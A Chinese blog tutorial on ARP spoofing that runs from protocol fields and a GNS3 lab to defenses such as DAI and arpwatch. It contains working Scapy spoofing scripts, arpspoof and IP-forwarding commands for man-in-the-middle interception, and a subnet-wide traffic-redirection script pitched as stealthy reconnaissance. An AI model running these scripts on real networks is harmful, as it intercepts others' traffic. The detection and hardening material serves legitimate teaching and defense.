☰
ARP欺骗代码实战:从协议报文到GNS3实验环境与防御
2026/10/1 12:44:56 网站建设 项目流程

简介:这份资源是一套面向网络安全初学者与协议分析爱好者的ARP欺骗原理学习代码包,围绕ARP协议实现与欺骗机制展开,适合用于理解地址映射篡改、中间人攻击原理及防御思路。压缩包共10个文件,约23KB,以C++源码与工程配置为主:包含cpp源文件承载ARP请求应答与欺骗逻辑,dsp、dsw等Visual Studio工程文件便于直接打开编译,h头文件与lib静态库则涉及网络抓包、设备I/O控制及Windows Socket编程接口,整体结构紧凑,适合在开发环境中逐步调试。目前已有177人学习下载。通过阅读与运行这套代码,读者可掌握ARP报文的构造与收发流程、伪造响应实施欺骗的关键环节,并借此加深对网络协议分层、数据包捕获及C++网络编程的理解,为后续安全防护与协议分析打下基础。

1. arp.rar_arp欺骗代码:从协议报文到可复现实验环境

局域网里最容易被忽视、也最容易被拿来做文章的协议,就是 ARP。它没有认证、没有状态、谁问都答,这种"老好人"设计在当年是为了让网络快速跑起来,放到今天就成了各种内网问题的温床。arp.rar_arp欺骗代码这个标题,指向的正是围绕 ARP 协议的一整套攻防实验:ARP 报文头部字段长什么样、免费 ARP 怎么用来探测 IP 冲突、ARP 欺骗代码在实验环境里怎么跑起来、以及怎么用 DHCP Snooping 这类机制把它拦下来。如果你在做网络安全课程实验、内网渗透测试学习,或者单纯想搞明白"为什么我 ping 不通隔壁机器",这套东西都值得动手复现一遍。下面我按"协议原理 → 实验环境 → 代码实现 → 检测防御 → 进阶技巧"的顺序,把这条链路讲透。

2. ARP 协议原理:报文头部字段与请求应答机制

2.1 ARP 报文头部到底有哪些字段

很多人写 ARP 欺骗代码时翻车,根本原因不是代码逻辑错,而是没搞清楚报文结构。ARP 报文本身不复杂,固定 28 字节(以太网 + IPv4 场景),字段排列如下:

字段长度说明
硬件类型2 字节以太网填 1
协议类型2 字节IPv4 填 0x0800
硬件地址长度1 字节MAC 长度,填 6
协议地址长度1 字节IP 长度,填 4
操作码2 字节1=请求,2=应答
发送方 MAC6 字节谁发的
发送方 IP4 字节发送方协议地址
目标 MAC6 字节请求时填 0,应答时填对方
目标 IP4 字节想解析谁的 MAC

关键点在于:ARP 应答是可以主动发送的,不需要先收到请求。这就是欺骗的物理基础。协议设计者当年假设"大家都是诚实的",所以收到一个 ARP 应答,主机就会无条件更新自己的 ARP 缓存表。你甚至不需要伪造请求,直接构造一个操作码为 2 的应答包,告诉目标"我是网关,我的 MAC 是 XX:XX:XX:XX:XX:XX",对方就信了。

用 Scapy 看一眼真实报文长什么样:

from scapy.all import ARP, Ether, srp # 构造一个正常的 ARP 请求,扫描 192.168.1.0/24 网段 arp_request = ARP(pdst="192.168.1.1") ether_frame = Ether(dst="ff:ff:ff:ff:ff:ff") / arp_request result = srp(ether_frame, timeout=2, verbose=False)[0] for sent, received in result: print(f"IP: {received.psrc} MAC: {received.hwsrc}")

这段代码做的事很简单:构造一个广播以太帧,里面包一个 ARP 请求,问"192.168.1.1 的 MAC 是多少"。srp是 Scapy 的二层收发函数,timeout=2表示等 2 秒没回应就放弃。返回的received.psrc和received.hwsrc就是应答里的发送方 IP 和 MAC。跑通这一步,你就有了后续所有实验的基础——能发包,就能改包。

2.2 免费 ARP 与 IP 冲突探测

免费 ARP(Gratuitous ARP)是一种特殊用法:发送方把自己的 IP 同时填在发送方 IP 和目标 IP 字段,目标 MAC 填广播地址。它的原始用途是"我换网卡了,通知大家更新缓存",但反过来用就能探测 IP 冲突——如果你发一个免费 ARP,收到了应答,说明这个 IP 已经被别人占了。

from scapy.all import ARP, Ether, srp def check_ip_conflict(ip, iface): # 免费 ARP:发送方 IP = 目标 IP,目标 MAC 为广播 gratuitous = ARP(op=2, psrc=ip, pdst=ip, hwsrc="00:00:00:00:00:00") frame = Ether(dst="ff:ff:ff:ff:ff:ff") / gratuitous # 只收不发,看有没有人回应 result = srp(frame, iface=iface, timeout=1, verbose=False)[0] if result: for _, rcv in result: print(f"冲突!{ip} 已被 {rcv.hwsrc} 占用") return True print(f"{ip} 可用") return False check_ip_conflict("192.168.1.100", "eth0")

这里有个细节:hwsrc填全零是个技巧,避免用自己的真实 MAC 去污染对方的缓存。timeout=1足够,因为同网段响应通常在毫秒级。如果你在 GNS3 里做实验,两个路由器分别连主机,可以用这个脚本在主机侧验证 IP 分配是否冲突,比单纯 ping 更直接——ping 不通可能是路由问题,但免费 ARP 有回应就一定是 IP 冲突。

2.3 为什么 ARP 缓存是攻击的入口

每台主机维护一张 ARP 缓存表,记录"IP → MAC"的映射。Linux 下用arp -n或ip neigh查看,Windows 下用arp -a。这张表的更新策略是:收到 ARP 应答就更新,不管自己有没有发过请求。更麻烦的是,很多系统对"更新"和"新增"的处理不一样——已有条目会被无条件覆盖,新条目才需要等待确认。

这意味着攻击者只需要持续发送伪造的 ARP 应答,就能让目标主机的缓存里"网关的 MAC"变成攻击者的 MAC。流量到了攻击者机器上,开启 IP 转发就能做中间人,不开就是断网。整个过程不需要任何漏洞利用,纯粹是协议设计层面的问题。

3. 实验环境搭建:GNS3 双路由器拓扑与主机配置

3.1 GNS3 拓扑设计:两个路由器分别连接主机

热词里提到"gns3 中两个路由器分别连接主机然后分析 ip 数据转发报文 arp 协议",这个拓扑非常适合做 ARP 实验。我一般会搭这样的结构:

  • R1 和 R2 通过一条链路互联(比如 192.168.12.0/30)
  • R1 下挂一台主机 PC1(192.168.1.0/24)
  • R2 下挂一台主机 PC2(192.168.2.0/24)
  • 在 PC1 和 PC2 上分别抓包,观察跨网段通信时 ARP 的作用范围

关键认知:ARP 是广播协议,不能跨网段。PC1 ping PC2 时,PC1 的 ARP 请求问的是"网关 R1 的 MAC",而不是 PC2 的 MAC。数据包到了 R1,R1 再查自己的路由表,从另一个接口发出去,在 192.168.2.0/24 网段重新发 ARP 问 PC2 的 MAC。这个"逐跳解析"的过程,在 GNS3 里抓包看得一清二楚。

GNS3 里配置主机 IP 的命令(以 VPCS 为例):

# PC1 配置 ip 192.168.1.10/24 192.168.1.1 # PC2 配置 ip 192.168.2.10/24 192.168.2.1 # 查看 ARP 缓存 arp -a

ip命令第一个参数是地址/掩码,第二个是网关。配置完先ping一下网关,让 ARP 缓存里有条目,再arp -a就能看到网关的 MAC。这一步是后续欺骗实验的基线——你得先知道"正常是什么样",才能判断"什么时候不正常了"。

3.2 用 Wireshark 抓 ARP 报文并解读字段

在 GNS3 里把主机和路由器的链路接到云节点,或者直接用 GNS3 自带的抓包功能,过滤arp就能看到所有 ARP 流量。一个正常的请求-应答对长这样:

请求:Who has 192.168.1.1? Tell 192.168.1.10 应答:192.168.1.1 is at aa:bb:cc:dd:ee:ff

在 Wireshark 的详情面板里展开 Address Resolution Protocol,对照第 2 章的字段表逐个看。重点看 Opcode:1 是请求,2 是应答。如果你看到大量 Opcode=2 的包,而且发送方 MAC 和 IP 对不上(比如 IP 是网关的,MAC 却是某台主机的),那基本就是 ARP 欺骗在跑。

抓包时建议加个过滤器:arp.opcode == 2,只看应答。正常网络里应答数量应该和请求数量大致相当,如果应答远多于请求,或者同一 IP 的 MAC 频繁变化,都是异常信号。

3.3 实验环境的隔离与安全边界

做 ARP 欺骗实验,必须在完全隔离的环境里做。GNS3 本身是模拟器,天然隔离,这是它最大的优势。如果你用虚拟机搭环境,把网卡设成 Host-Only 或 Internal 模式,绝对不要桥接到物理网卡。我见过有人图省事直接桥接,结果欺骗脚本一跑,整个办公室断网,这就是血泪经验。

在 GNS3 里,所有设备都是虚拟的,随便折腾。但要注意:GNS3 的 VPCS 和 Docker 容器对 ARP 的处理和真实主机有差异,有些欺骗效果可能不明显。如果要更真实的实验,可以用 GNS3 里的 QEMU 虚拟机跑完整 Linux 系统,网络行为就和物理机一致了。

4. ARP 欺骗代码实现:从构造伪造应答到流量劫持

4.1 最小可用的 ARP 欺骗脚本

先看一个最简版本,只做一件事:告诉目标主机"网关的 MAC 是我"。

from scapy.all import ARP, Ether, sendp import time def arp_spoof(target_ip, target_mac, spoof_ip, attacker_mac, iface): """ target_ip: 被欺骗的主机 IP target_mac: 被欺骗的主机 MAC spoof_ip: 要冒充的 IP(通常是网关) attacker_mac: 攻击者自己的 MAC iface: 发送网卡 """ # 构造伪造的 ARP 应答:操作码 2,发送方 IP 是网关,发送方 MAC 是攻击者 spoofed = ARP(op=2, psrc=spoof_ip, pdst=target_ip, hwsrc=attacker_mac, hwdst=target_mac) frame = Ether(dst=target_mac, src=attacker_mac) / spoofed sendp(frame, iface=iface, verbose=False) # 持续发送,维持缓存污染 while True: arp_spoof("192.168.1.10", "00:0c:29:11:22:33", "192.168.1.1", "00:0c:29:aa:bb:cc", "eth0") time.sleep(2)

逐行解释:ARP(op=2, ...)构造应答包,psrc填网关 IP,hwsrc填攻击者 MAC,这是欺骗的核心——IP 和 MAC 的绑定关系被伪造了。Ether(dst=target_mac)确保这个包只发给目标,不广播,减少被发现概率。sendp是二层发送,需要指定网卡。time.sleep(2)是因为 ARP 缓存有老化时间(通常几十秒到几分钟),定期重发才能维持污染。

参数上最容易出错的是target_mac。如果你不知道目标 MAC,可以先跑一次第 2 章的扫描脚本拿到。另外attacker_mac必须是你真实网卡的 MAC,填错了包发不出去。

4.2 双向欺骗与 IP 转发开启

单向欺骗只能让目标断网(流量到了你这里但你不转发)。要做中间人,需要双向欺骗:同时告诉目标"我是网关",告诉网关"我是目标"。

from scapy.all import ARP, Ether, sendp import time def bidirectional_spoof(target_ip, target_mac, gateway_ip, gateway_mac, attacker_mac, iface): # 骗目标:网关的 MAC 是我 to_target = Ether(dst=target_mac, src=attacker_mac) / \ ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwsrc=attacker_mac, hwdst=target_mac) # 骗网关:目标的 MAC 是我 to_gateway = Ether(dst=gateway_mac, src=attacker_mac) / \ ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwsrc=attacker_mac, hwdst=gateway_mac) sendp(to_target, iface=iface, verbose=False) sendp(to_gateway, iface=iface, verbose=False) while True: bidirectional_spoof("192.168.1.10", "00:0c:29:11:22:33", "192.168.1.1", "00:50:56:aa:bb:cc", "00:0c:29:aa:bb:cc", "eth0") time.sleep(2)

同时要在攻击者机器上开启 IP 转发,否则流量到了你这里就断了:

# Linux 临时开启 echo 1 > /proc/sys/net/ipv4/ip_forward # 或者用 sysctl sysctl -w net.ipv4.ip_forward=1

ip_forward=1让内核把收到的包按路由表转发出去。不开的话,目标主机会发现"网关了但上不了网",很容易引起怀疑。开了之后,流量正常通过,只是多经过了你这一跳,用tcpdump就能抓到目标的明文流量。

4.3 用 arpspoof 工具快速验证

自己写代码是为了理解原理,实际做实验时用现成工具更快。arpspoof是 dsniff 包里的经典工具:

# 双向欺骗:告诉目标我是网关 arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 # 另一个终端:告诉网关我是目标 arpspoof -i eth0 -t 192.168.1.1 192.168.1.10

-i指定网卡,-t指定被欺骗方,最后一个参数是要冒充的 IP。两条命令分别跑在两个终端里,配合ip_forward=1就是完整的中间人。这个工具的好处是会自动重发,不用自己写循环。

验证是否成功:在目标主机上arp -a,看网关的 MAC 是不是变成了攻击者的。在攻击者机器上tcpdump -i eth0 -n host 192.168.1.10,能看到目标的流量就说明劫持成功了。

5. 检测与防御:DHCP Snooping、DAI 与主机侧排查

5.1 DHCP Snooping 绑定表与 ARP 检测的关系

热词里提到"arp detect 通过 dhcp snooping 必须要配置",这个说法有道理但不够准确。DHCP Snooping 本身不检测 ARP,它做的是监听 DHCP 过程,建立"IP-MAC-端口"的绑定表。这张表是后续动态 ARP 检测(DAI)的基础。

交换机上的典型配置(以 Cisco 为例):

! 全局开启 DHCP Snooping ip dhcp snooping ! 指定信任端口(连 DHCP 服务器的口) interface GigabitEthernet0/1 ip dhcp snooping trust ! 在用户 VLAN 上开启 ip dhcp snooping vlan 10 ! 开启 DAI,基于 DHCP Snooping 绑定表检测 ARP ip arp inspection vlan 10 interface GigabitEthernet0/2 ip arp inspection trust

关键点:ip dhcp snooping trust必须配在连接合法 DHCP 服务器的端口上,否则所有 DHCP 应答都被丢弃,主机拿不到 IP。ip arp inspection vlan 10开启后,交换机会检查每个 ARP 包的"发送方 IP-MAC"是否在绑定表里,不在就丢弃。这样伪造的 ARP 应答根本进不了网络。

但 DAI 有个前提:主机必须通过 DHCP 获取 IP。如果是静态 IP,绑定表里没有记录,DAI 会把正常 ARP 也拦掉。这时候需要配静态绑定:

ip source binding 0011.2233.4455 vlan 10 192.168.1.10 interface Gi0/3

5.2 主机侧检测:ARP 缓存异常与火绒拦截

不是所有网络都有可管理的交换机,主机侧检测更通用。Windows 下arp -a如果看到网关的 MAC 频繁变化,或者同一个 MAC 对应多个 IP,基本可以确定被欺骗了。Linux 下可以用arpwatch监控:

# 安装后启动,会记录 MAC-IP 变化 arpwatch -i eth0 # 日志在 /var/log/arpwatch.log 或 syslog

热词里提到"火绒拦截对外 ARP 攻击",这是主机防火墙的 ARP 防护功能。火绒、360 这类安全软件会监控 ARP 表变化,发现异常就告警并阻止。原理不复杂:hook 系统调用或者驱动层过滤,检测到 ARP 应答里的 IP-MAC 与已知记录不符就拦截。缺点是只能保护本机,而且如果攻击者持续发送,会一直弹窗。

更彻底的方案是在主机上配静态 ARP:

# Linux 添加静态条目 arp -s 192.168.1.1 00:50:56:aa:bb:cc # Windows netsh interface ipv4 add neighbors "以太网" 192.168.1.1 00-50-56-aa-bb-cc

静态条目不会被 ARP 应答覆盖,但维护成本高,网络一变就得改。适合网关这种不常变的设备。

5.3 抓包分析:怎么从流量里看出 ARP 欺骗

最可靠的方法还是抓包。在交换机上做端口镜像,或者直接在怀疑的主机上抓,过滤条件:

tcpdump -i eth0 -n -e arp

-e显示以太网头部,能看到源 MAC。正常情况下一台主机发的 ARP 请求,源 MAC 和源 IP 是对应的。如果看到大量 ARP 应答,源 MAC 是同一个但源 IP 不同,或者源 IP 是网关但源 MAC 是某台主机,就是欺骗。

Wireshark 里可以用统计功能:Statistics → Endpoints,看 IPv4 和 Ethernet 的对应关系。如果某个 MAC 对应了多个 IP,或者某个 IP 对应了多个 MAC,都是异常。更高级的用arp.opcode == 2 && arp.src.proto_ipv4 == 192.168.1.1过滤冒充网关的应答,看发送方 MAC 是不是网关的真实 MAC。

6. 避坑与排查:ARP 实验中最容易翻车的五个点

6.1 现象:脚本跑了但目标 ARP 缓存没变化

原因:最常见的是网卡选错。Scapy 的sendp需要指定正确的接口名,Linux 下是eth0、ens33这种,Windows 下是\Device\NPF_{GUID}格式。填错了包发不出去,但脚本不报错。

解决:先用ifconfig或ip link确认接口名。Windows 下用get_windows_if_list()查看可用接口。另外确认目标 MAC 填对了,填错的话包发给了错误的机器。

6.2 现象:目标能上网但速度极慢

原因:IP 转发开了,但攻击者机器的路由或防火墙有问题。流量到了攻击者这里,转发不出去或者被 iptables 拦了。

解决:检查iptables -L有没有默认 DROP 规则,临时清空iptables -F试试。确认攻击者机器本身能上网,ip route看默认路由对不对。如果攻击者只有一个网卡,转发是没问题的;如果有多个网卡,要确认流量从正确的接口出去。

6.3 现象:GNS3 里欺骗成功但抓不到流量

原因:GNS3 的虚拟链路和真实网络有差异,某些情况下 ARP 欺骗后流量走的是交换机的硬件转发,不经过攻击者。或者 VPCS 的 ARP 实现和真实主机不同。

解决:用 QEMU 虚拟机代替 VPCS,网络行为更真实。或者在 GNS3 里把攻击者主机接在 Hub 上而不是 Switch 上,Hub 是广播的,流量必然经过所有端口。检查 GNS3 的链路类型,确保攻击者在流量路径上。

6.4 现象:DAI 开启后正常主机也断网

原因:主机用的是静态 IP,DHCP Snooping 绑定表里没有记录,DAI 把正常 ARP 也丢了。

解决:要么让主机改用 DHCP,要么手动加静态绑定ip source binding。加完之后用show ip arp inspection statistics看丢弃计数,确认是 DAI 在丢包。另外检查信任端口配置,连服务器的端口必须 trust。

6.5 现象:火绒/360 拦截导致实验失败

原因:主机安全软件检测到 ARP 异常,主动拦截了伪造的应答,或者把攻击者机器拉黑了。

解决:实验环境里临时关闭 ARP 防护功能。火绒在"防护中心 → 网络防护"里可以关。但要注意,这只在隔离实验环境里做,真实网络里关掉防护是危险的。如果关不掉,换一台没装安全软件的虚拟机做目标。

7. 进阶技巧:用 ARP 做内网资产测绘与流量分析

ARP 欺骗只是手段,真正有价值的是它背后的能力——控制二层流量。把这个能力用在内网资产测绘上,比单纯做中间人更有意思。

一个实用的技巧是"ARP 扫描 + 被动指纹":先发免费 ARP 探测整个网段哪些 IP 活跃,然后对活跃 IP 发伪造应答,把它们的流量引到你这里,用tcpdump抓包分析操作系统指纹。不同系统的 TTL、TCP 窗口大小、选项字段都有差异,不用主动扫描就能识别。

from scapy.all import ARP, Ether, srp, sendp import time def arp_sweep_and_redirect(subnet, attacker_mac, iface): # 第一步:扫描活跃主机 request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=subnet) answered = srp(request, iface=iface, timeout=2, verbose=False)[0] hosts = [(rcv.psrc, rcv.hwsrc) for _, rcv in answered] print(f"发现 {len(hosts)} 台主机") # 第二步:对每台主机发伪造应答,把自己变成"网关" for ip, mac in hosts: spoof = Ether(dst=mac, src=attacker_mac) / \ ARP(op=2, psrc="192.168.1.1", pdst=ip, hwsrc=attacker_mac, hwdst=mac) sendp(spoof, iface=iface, verbose=False) print("已重定向流量,开始抓包分析") arp_sweep_and_redirect("192.168.1.0/24", "00:0c:29:aa:bb:cc", "eth0")

这段代码先扫描再重定向,subnet填 CIDR 格式。注意psrc填的是网关 IP,实际使用时改成你网络里真实的网关。重定向后配合tcpdump -i eth0 -n -s 0 -w capture.pcap抓包,再用 Wireshark 分析。

验证方法:抓到的包里看 TTL 值,Linux 通常是 64,Windows 是 128,网络设备是 255。结合 TCP SYN 包的窗口大小和选项,能大致判断对端系统类型。这个技巧在渗透测试的信息收集阶段很实用,比 nmap 扫描更隐蔽——因为流量是目标自己发出来的,不是你去连它。

我自己的习惯是:做任何 ARP 相关实验前,先在一台干净机器上抓一遍正常流量做基线,记录网关 MAC、TTL 分布、常见 ARP 请求频率。有了基线,实验中出现任何偏差都能快速定位是代码问题还是环境问题。这个习惯帮我省了无数次排查时间,希望帮到你。

本文还有配套的精品资源,点击获取

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询